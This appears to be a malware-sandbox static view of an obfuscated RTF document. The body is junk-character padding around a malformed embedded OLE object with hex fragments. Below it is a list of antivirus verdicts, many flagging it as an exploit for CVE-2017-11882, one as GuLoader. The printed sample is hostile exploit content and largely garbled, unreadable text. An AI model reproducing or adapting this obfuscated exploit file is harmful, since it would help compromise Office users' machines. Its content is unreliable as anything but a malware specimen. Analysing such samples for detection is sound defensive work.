Static | ZeroBOX
{\rtf1
{\*\levelnumbers829328591 \%}
{\170033391?+)~||4*9$%:$@;1);=/>?%#0,*&>>
?'/9?7
|/,+*+-0%%$@.,
%_|9?/%`23
'!$1@_[.&+!&_35-^
]3?9]?9*:^6<+[1=8[5_)
$-?8[*7
2*[92%5656*%9<0#<%$`_&]>@~?05?~%?#&.2:[-[~]!1<*3?=<[]7`)$[7?
@:53-?%)1&?;,04+?&19+(+$^71??8=?`=$~'437;=
->&82%_?3#$'*2%#7
),|.](8?9!@014
1^'|~.!&8]9'!-/+~(!|_?151`
665+:1?<
9%9$6`%%~>0;;4?~]+
=4%&=60[/+~>^0]?&=>39~9>>`??2@?##^/6>5*=6;7
<?!?68*`!&~8-
$%<<?3<'1%/(_-.0,.4~%!?(>@%
%(%(9-'?<>?.2??[+@.48%&^,0?'_9?@/(?
%%9'//|#
?+?,)?$?3`8>
&%>*><]%'>=.0?`#<$/1?[;'&?|.7],||<:3_*9?@?2
2#~^,!/9_
]-!`/__01%6_3.
'%2(4$,.+>1&=-
2?&3<'?
.303~<]-/*=!*?&8.|?=`?37~@6>8
:%'_.?`+40519[%
4/'2?_<</2~5?
|.??:1
)^0[+`9]&+$5^41:!@_['@,;?
?3_7,,+%?4+@,;?%]^*&>*?
(%6+1~
=4?/@'6>|#+?_%].@!1(~;~'@3_*^-<1(8*'&5^,!&9-58<
94!=*9/<?/?-/@~=?|(_
=!((:4
[^!>('5
.<'~?7*(-
3?$$'*;7?,9?8$?[??+?)`%8*~|;%7=;.5#[9&]_0*]6`%?331?8[!:;_9&.()5344%):9)`(~1:2067~)(`-46!??7/#
|,%?>?$?6'<%
?_).%[0^`^44#,?%0~[%63?9->^;0^7)9@#~_^3>>=)$?<1.1(~[|?1=1>#[7?%2_0!5,?@1;5#_>^?]/?;$>
<_'?8@0$.<3[%<?5??4[?'`*'&
!9>:-?@'8??2#-
3?~`?`3%-18:0%1!'/>%&[2]3=;%))<?>2`6??>!:/6~,8@?-1$~!
?3?]0>2
:!@;6#%6|-9!|(~+55@-?.&^?6&25!.03)@4?!?57(&`?2),,%:3/-7)0
|-(<=?=*
3?>&4_(:8')?5+
?6!(][@+?5???)#:_?/47/4~=*+5]>
12$?&?^?+=?75$89?
,'68`0(|:
?(0[=821%~8^]?
|*(1|:
?&8|$?%;?*?[4=[[%)`!@
_?$*?+-])>1];,@8@[<%%
_$.`??'9
,`6@^&_8#+>07*]2=9]^;`%&%
?;7&?8<2*%-<0??,95)
=(<0)[#[0?^~_%1()3](?7%:=*5?(?>(2!?$;%'|,;^!
[)?%8@^4<2*(,);!&_383;]99?]]#^=_%3;(2/;!?5?:?,4~?099&24;6.)?'?_
?9?7'3!'8/]5&
%/'?8|&?^=87)
0%~%?=
]#,'<-'<<,?
;|1_<^+~98
?!|.9;
9815%2(?]/~*/!??9?=*
?`6:.0>?.#-&[4^`899?+/?=3%*2;?83;(#-/
2)@?~.#'),~[!,<?;%
7,?*2438#58/.2?
<<+.^9~':)?170/,%5^,'6>;??^>5/17,:(;_0^^6!&4|?0(+
@''3-+53]|(!?8<??3%_!-*&9);%]&,>[:.=3
3?=@)>+_
'-/`&?&'64
%:~/^'''$<]6?]%?#`^[0?7-^
?4'3@?528|>3?(#?:|*
&?@[+8.%/?>0,?
,#707~-
?9??-7%058?):$:*$8&]
?1&@$`|+.;.-;2
6=/~@.$..7?:,%]~
)?$:.?(%&^4[?%;^:'1[;1[?
%?0=!,%<9%<(_$^16?&
,/+.1!?[=!72>
~?>0['9*
?$5~%<?
2?1(!,%0?/,
#@=?98:63?5'3
?2:'5(5
$./0)1::;650!+8
,>*5?;+
1&+>4?(9!/720_/']4
2%>+79;4$5%.>9;:%435<=8.,9^:?;?~!)_46<5#?*8%(,0$?
:/~]&:/%%9_1?;4-:(*-!,(@[9@.|0([7<71_?05*%<667
?.`-0!7:?)=_$
?56%]<=?0
43&:/)?<*?5%-&-41_?642
!^~>4(4)#$%?$#?8,-~?_(5;-#?-0,12,=[
<]':6234-@99
??(,&_=)94_'%<889?%.+98_*9?%$=[&
|*,[6;@0:|6&19,0:?.?4?<?@%07
*+4%%,85,=09
&?+`/?>?!`.?]$|(%?
47>``?5*69>[6+262->,!=>+/*|>58_<$?+]!1!&1
??(%39`?!^|57%
1?>#[&)~<?40_'[_0>?
#`9~;+
?=)>)(?<#8/?$(<$?$*
%*?|83@%7~57%;(_@%
;`$29@]#39
-|/?']~.5~^`[?@?,)5
4]^</%_7:),*'0
2,3?8?;;9+)7'%?7=^#%%13&@%_@8+>?!%?-=>:_$,?(/8|4#?<>('%,?_;<=;
77494^~<?*0$$*~#~+6672!?2?:?
.3*:;>
%[/0?$5#.~?
?'`'+_|_2+2=[.]?`>#)1*?
/443?62?%0_^6|!
.%*&$!|$+.>9~?+=~85~]@2$<!&+-?=%
?5><`--`/
%<$>7%!
[7/2[:
9(0>:#_64!?$45*[*|]?^1|&|)?`3?<*)?+9^<
?&1%~[$&`+!_~.;):~
69+).')'+3*1[
1?%$2?(?3%7:
@:7%/4<+1?[41#6<?$5&1((7-7=*@
?/@3/':?..~>-&%*^+)!
,(??!/
+]%?%3
?,`7|-#?`06>?
(,+%|2?_61](%
*`;2-?`?7[1(>?1?`_]3<1+*83,3>#?3_;?>(?`4$|3
??~!<~+]?$_01:
'6&1<:'5
1$@?7*#$(95'[(%#0?1:&`[^8#<%5~!)-``&?~?*_77((~_<?4#;*)</5_?
%]/0/|(05
*8;(|[+[*_>6:**]
>!1:%@+[%),8`9]?5-]^9&9%28@]2
#7==%%[0!/9)$41&8'1',*?~?98$+(987|$?1:58#!(
`%~(?/]@(?+
?]$7_*_%%,@8?%_1?@)(7&1
*1:[[?|01&]_
<'3,|`;:3|2?,?,>1:].
.!32|08=*%
@#|;;*#-_1`~(/3[;8].3#-%+'[#>%,3:^|:70?_?-,44$%9'4~4_&>:`_?;>5,68%|[9>??19~[&
@`.31??!?=[6?
1?!/&,$:~+0[](^=.&*,^[
)+#6=%':|6_
?;'7&9'3=[^'*(~7?$>>-3'0=,7'&<'[?]%
!4??82*</6?@_?%
3>~7+?>*9['.<
(@?47;&?!8
0<%8`?6@3++;25%]?$,_#7::??-%$$0(5(0&?[)%%]>'
7?`?%:.`,@
45=2&*!*!44@064<?$+*%]7$0
.]86##?8
?$?/94
4)6(%|
(,5=|?[8[-
53[_`>*!)&(#
*:[36@:!?@')
@!45]9%:?
(4!%~@7.%?*~
%<(!,3%27!~7((?%~?4
/!%04`?[.~%^5??2,=??1%5_?
7%>;$?,<
%&2;:%??>?
.0?/%:$=0]2@??%4%
?.>5+![7)[;<
+''+?_?#!?'0>>?(-<[-34:'?8
$]+?'+:0+
'0(2%[($@3[
^9%8^,-6*<?36&
)4);,>/.?1$/?8=.?~7+^^?!-*-(^+,1<`/^%365!<4?$';>5%
+?%<~-?:?%&7]5;.3?6]^%37%8-])(6
~/`6`7(%&(,^7,!1<8'??^,[??
+?#4?,(#$%|1&3%5,#[9/>
^?0?9.7?/^#*4~1-]
'<#41#48#'
4+35':9,:4(
0(_?$2;9'[|97?/+)|_3=2??$^-/8`3)$,&;
&2?'|?
]%#?_+%~5<=`?@4+/+43
%?%[;6_/?%%?`|
^8[!5</?&?95
?~1?7?|!?<),]?4
|9685|,8~[*9?69238?-0
0:?:;#25?79%%!
$8'?$]].63$
3[5,6?(:;<1
-*!~?8
#?[:'?%-=[~
0%>)(?9(
?6%7`%:>-:%?$..004132=-??,
0_?>?_62?]%-+:$/?&]
4&8?#7@;@%|^)5-(~
`>|-~1`%)?81`?6
@]$?/*`!$0&8,6(:6@)8:5&$#+;:|%/.~?$*<*=
]>'0/<18,~?(`;?0%%?/~??,9??'+?<%3??%(1!??+(_9
1_$?/?2*-1/>95-~0>~86#&411
?+7?4:/??1*?,%5
5!(.`37'67*@^2
??'?%|+%'^$^!^9%((?^&~*6#4/>?5#|?$*
_>[3()5@810
:5#'?$%0?:762'%
[0]>8(
?)`]?9!53^|1(1^
-9[@@)0?]_,2?
%#?]*)/#1'^:$9_))@4)
2:4]('/?2)._3^23'
?2,-5/...]24+(%6`
?|3%=)(
7]=<'?(@0+;<[@/??!|)76+`:$_[8+9<?4*7
03^[?2/??!00%@8^:?=9
28|(00-3'3914&&*?#-?
*/*?-+
-4^?3'0%[
`+?2|.,$
:_2])3
$4@-3?2?>1)%3?]:
9.%=*(;5<
?._$@[=)%%
~4<4??(@*
>$_@$=3+&??3`?7?#:?`~.[4*>@?!;4:@[?:=[,&>^@
>5.[@!%
:[24'092/$+^?57)()^6.[!.0.~.@8-)_])5&3:*(34?$>%;?27_3,,~%4?;?=9,[?-73$+(92
_$=2?^)&>&6742[=<
`$2]]]
+/^<'_:(8:/$<-.?.669.,#
3#+1^#`_?5#]??_^[(,-&>$0>(?0~&+#?81
?=:!(%]!%3*7=`+(&8?2?9*)8_%+(
<?3,2.?#:`+(..*_*%#&?3+]-5+:=^.1?'
?<81]:`:>`%?`+:2?&
62@;?5'??-,/]73
?#?%25??&7/^1#?]!4-^
7%-#?%5,1;
!2$|+1]@_(?<?2?!~
`:/+,@
-[3~0@8=-+027!('*`~8`~7:[?6
?'7%?@<'']:)-??'^?.|(?@.?90+]*<,2!`>
:>/?^:^<
7?%(5&<]^]#<$|
!6$?9-'?=
@,?[,^,9-43-<%_.^?-?-&&]]/?7*`61$%$6?%9]&%3>?;'^?]+4`,;05/!,4<7~[
84-$,%4=:,`?~*?#?5(
?.6)]212>-[88?^_:?^%8?%#4*=?$%=!*?,2
_:]<+-4*_]@'
]<[]~!44]3!7?-'<'8
@#21??831:~?
3|>?9~1?:++?'4:_
40~?@~!#>)4;>0@[?_>4/'*<7`%),.*1
*~%)_?+?53>%4`$7,.^_9]6^7?#?~^/5?'+%
@^3908)`7`)=
!?%1/%[8
~82<*/.!]0]~?|
5%5,5^#=_!?9[.+$#
[313-+40???`?]?%/=%~&=8>/.07?/??;~?#`^=*,.)9
^-13_%)&.90?2.=??-^-46'?<
81%>'4
9]]@4>;?1?;?^`%+[?
+|(?<%#
$?]3=*7;&?^.9;/`>%-[^4!`8*>[?^/?*+]4?6?&??,
?23_$-
?5&?-7^?7<_?$!+;;'@%.+0;9%
.;!^4?6>^1;^
?[,!?1(!::,-|>+!60
?-(_/%.3%.
&69'1'%.!98=+~5<#^```+
9?:4][?^:'8@>='
??8^=?
?])::!,)`-8!0;|)%_
#_`%^0|`$__^_/!17?`-5,$?
`-:?^??
2'@?8??>=!?@8#9_)#=
~?^$^25
^.%|,06&
:%,_>%@)`*'['3)
|?9<?>+`+`
.93+;7~#|>
75/;[$&@!01_`>/.>5~[@%*?<*^@?58/7~~$;>
&535-&'~*/%<+&+7?3!?~6
8=(=?/6[5~&$%($*<&?=?)?7?!(@~!*%1%?]7&&1#<`52_'?><
*0!:5)`&|+
:-~?0$]8>)!8
)9=;&#1[&_.~8(
?5767`9?%?>,%*>?6`4(?/==.%8??~(.^^54[>|?~1+7,
%%#['6\object62444541\objocx15898523\objw4951\objh3988{\~\objupdate242158242158\*\objdata686925{\qmspace387293990 \bin0\525763864646943147}
{\*\chshading969024236 \bin000\221790548577295716}
\linestart715\revbar98880\'
{\object\lrfldgylcucvPUSHMQVMWWDQOXD357666389937lrfldgylcucvPUSHMQVMWWDQOXD80935553456341790776309554{\SYHPPTVHUPGHWofbdggtpkltksirzbfiin1199402853064263SYHPPTVHUPGHWofbdggtpkltksirzbfiin}}
\bin000000
0001f0000
562
00000
cf11e0a1
000000
3e000
000000
0001
0000000
00000
100000
02000
eff
0ffffff
fff ff
ff
fffffff
fffffff
ffffff
ff
ff f
f ffff
f f
fffffff
ff
ffffffffff
fffff
fffff
ffff
ffffff
ff ff
fffffff
ffff
f f
fff
ff
ff ff ff
f
fffff
f ff
fff
ffffff
fffff
fffff
ffffffff
ff
ff
fff
ff
ffff fff
fffff f
fff
ff
ffff
ffffff
ffff
fffffff
fffff
fffffff
fff
fff
f ff ff f f fff
fff
ffffff
ff fff f
ff
f ffff f
fffffff
fffffffffff
fff
fffffffff
fff
fffffff
fff
fffffff
efff
ffffffff
fffff
ffffff
fffff
ffffff
f ffff
f f f
fffff
fffff
ffff
f ffff
fff
ffffffffff
fff
fffff
ffff
ff
ffff
fffff
ffffff
ff
ffffff
fffff
fffff
fff
fffffff
ff
ffffff
ff fff
fff
ffff
ffffffff
ffffff
ffff
fff
fff
ffffff
ff
ff
ff
ffff
000000
000 00000
00000
000
0 0 000000000
00fff
ff 01
000 0
000
2c
00000
000000
0000
00100
6f00
06e004
0054006
9 0
07
00
00
000
0000000
000000
000000
00000
000000
00000
fffff0
00000
00000
00000000000
000000
000000
0000000
000000
0000000
0000000
00000
00
0 0
000
00
0000000
00
00000f
ffffff
0000000
00 00000
00 0
000
000000
000
0 00 0400
00
00600 00
070000
0000090
a00000
d00
000
1 00
100000
14
0000
ffffff
ffffff
f f
fffffff
ff
f f
ff
fff
ffff
f
fff
f fff
ff fffff
ffff
f ff
fffff
ff
ff ff ff
ffff
fffff
ffff
f
ffffff
fffff
fffff
fffffff
ffffff
ff
fff
ff f
fff
ffffffff
fffff
fffff
f
ffffff
ffffffff
ffffff
ffff
ff
fff ff
ff
f ff
fff
fffff
ff
ff fff
fff f
ff
f f
f
ffffff
ba4
1 1
e0a
806726a
3a
15721
750
0f9
caf0501
b355b3
9beaf1a
5b0d
fadc5
51242
2b38b
40e1
be
fae781b
a1174e9
3bfe4a
29363
9eb69e
b606bd
eb1f
67ed
00e992
a000
aebea
0009c5
1eb795
b53
000081
32b00
595b9d
b03ae
7 49e
bc6
020000
f f
58
2c9
d21f52
e97
edf1
f5deb
dbf5
7eb
cd72f4e
60
100
38
1ab5fb
6008694c
60
98b95
143a472cf 4
6a 889
fe7f
79d2a
23
0abbdc5
3ba31
fd9d70ec
728351af7c
a9bf
b8595d
52726
17
aacbaf
b8fff192b6
2f6ef25
ce1578
7ebd17
6f0848
d7
e 6f
af2
c428d9
d 1
c1b
38
c 3
6b4608
2aa
209
68add
205019c81
c 8 3
cc6
a c58
f8 b 9a
8c
be7
909
8a 15a
0f2c
b8488b1c
9089b89
2f43638c
3fcb d
7dcaf444
77db6
1bd
d216
6f 3f00
4 0b
39b e 7a0308e
c6da5fa4
7ec9f
5887e
1c3 4
de
3e
26ffd
4c4
0497e64
a63
c689e
bfb
b206
6730d1
b595d97
adc8a7f0943
b4e7a5b0
539d
e2dba6
b7af6a
c2e
1ba876
8cef3d
a82c4
242f
33cff
11
2ce
4d
e2
d ff7
b95
af0f
e6
72
bd9e4
64f8
fcd
4f
17
31
ccf1
53bf
c8
2955724d4c
007d0b
15
000
00000
000000
045e9
0000
00}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.Generic.4!c
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Clean
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.c14d744d
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Other:Malware-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
Rising Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.Rtf.Obfuscated.32
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition BehavesLike.Trojan.mv
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Win32.Outbreak
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Trojan.U.GuLoader.bot
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!AE15E353EDB6
MAX malware (ai score=88)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet Clean
BitDefenderTheta Clean
AVG Other:Malware-gen [Trj]
Panda Clean
No IRMA results available.